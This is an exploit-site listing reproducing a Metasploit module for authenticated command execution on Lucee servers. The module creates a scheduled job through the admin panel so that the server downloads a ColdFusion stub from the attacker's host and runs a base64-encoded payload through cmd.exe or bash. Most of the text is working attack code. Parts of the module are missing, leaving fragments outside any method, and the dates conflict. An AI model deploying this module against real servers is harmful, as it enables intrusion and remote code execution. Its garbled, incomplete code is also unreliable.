Exploits / Vulnerability Discovered : 2023-04-08 |
Type : local |
Platform : multiple
This exploit / vulnerability Lucee scheduled job v1.0 command execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: Lucee Scheduled Job v1.0 - Command Execution
# Date: 3-23-2012
# Exploit Author: Alexander Philiotis
# Vendor Homepage: https://www.lucee.org/
# Software Link: https://download.lucee.org/
# Version: All versions with scheduled jobs enabled
# Tested on: Linux - Debian, Lubuntu & Windows 10
# Ref : https://www.synercomm.com/blog/scheduled-tasks-with-lucee-abusing-built-in-functionality-for-command-execution/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Retry
include Msf::Exploit::FileDropper
require 'base64'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Lucee Authenticated Scheduled Job Code Execution',
'Description' => %q{
This module can be used to execute a payload on Lucee servers that have an exposed
administrative web interface. It's possible for an administrator to create a
scheduled job that queries a remote ColdFusion file, which is then downloaded and executed
when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,
the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;
on Linux, it is either the root user or lucee.
},
'Targets' => [
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
]
],
'Author' => 'Alexander Philiotis', # aphiliotis@synercomm.com
'License' => MSF_LICENSE,
'References' => [
# This abuses the functionality inherent to the Lucee platform and
# thus is not related to any CVEs.
# Lucee Docs
['URL', 'https://docs.lucee.org/'],
# cfexecute & cfscript documentation
['URL', 'https://docs.lucee.org/reference/tags/execute.html'],
['URL', 'https://docs.lucee.org/reference/tags/script.html'],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
# /opt/lucee/server/lucee-server/context/logs/application.log
# /opt/lucee/web/logs/exception.log
IOC_IN_LOGS,
ARTIFACTS_ON_DISK,
# ColdFusion files located at the webroot of the Lucee server
# C:/lucee/tomcat/webapps/ROOT/ by default on Windows
# /opt/lucee/tomcat/webapps/ROOT/ by default on Linux
]
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => '2023-02-10'
)
)
register_options(
[
Opt::RPORT(8888),
OptString.new('PASSWORD', [false, 'The password for the administrative interface']),
OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']),
OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]),
]
)
deregister_options('URIPATH')
end
unless auth
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
unless auth.code == 200 && auth.body.include?('nav_Security')
fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.')
end
fail_with(Failure::Unreachable, 'Could not connect to the web service') if create_job.nil?
fail_with(Failure::UnexpectedReply, 'Unable to create job') unless create_job.code == 302
print_good('Job ' + payload_base + ' created successfully')
job_file_path = file_path = webroot
fail_with(Failure::UnexpectedReply, 'Could not identify the web root') if job_file_path.blank?
fail_with(Failure::Unreachable, 'Could not connect to the web service') if update_job.nil?
fail_with(Failure::UnexpectedReply, 'Unable to update job') unless update_job.code == 302 || update_job.code == 200
register_files_for_cleanup("#{file_path}#{payload_base}.cfm")
print_good('Job ' + payload_base + ' updated successfully')
end
fail_with(Failure::Unreachable, 'Could not connect to the web service') if job_execution.nil?
fail_with(Failure::Unknown, 'Unable to execute job') unless job_execution.code == 302 || job_execution.code == 200
# Unix systems tend to return a 500 response code when executing a shell. Windows tends to return a nil response, hence the check for both.
fail_with(Failure::Unknown, 'Unable to execute payload') unless payload_response.nil? || payload_response.code == 200 || payload_response.code == 500
if payload_response.nil?
print_status('No response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
elsif payload_response.code == 200
print_good('Received 200 response from ' + payload_base + '.cfm')
output = payload_response.body.strip
if output.include?("\n")
print_good('Output:')
print_line(output)
elsif output.present?
print_good('Output: ' + output)
end
elsif payload_response.code == 500
print_status('Received 500 response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
end
end
def webroot
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return nil unless res
res.get_html_document.at('[text()*="Webroot"]')&.next&.next&.text
end
def cfm_stub
case target['Type']
when :windows_cmd
<<~CFM.gsub(/^\s+/, '').tr("\n", '')
<cfscript>
cfexecute(name="cmd.exe", arguments="/c " & toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64")),timeout=5);
</cfscript>
CFM
when :unix_cmd
<<~CFM.gsub(/^\s+/, '').tr("\n", '')
<cfscript>
cfexecute(name="/bin/bash", arguments=["-c", toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64"))],timeout=5);
</cfscript>
CFM
end
end
end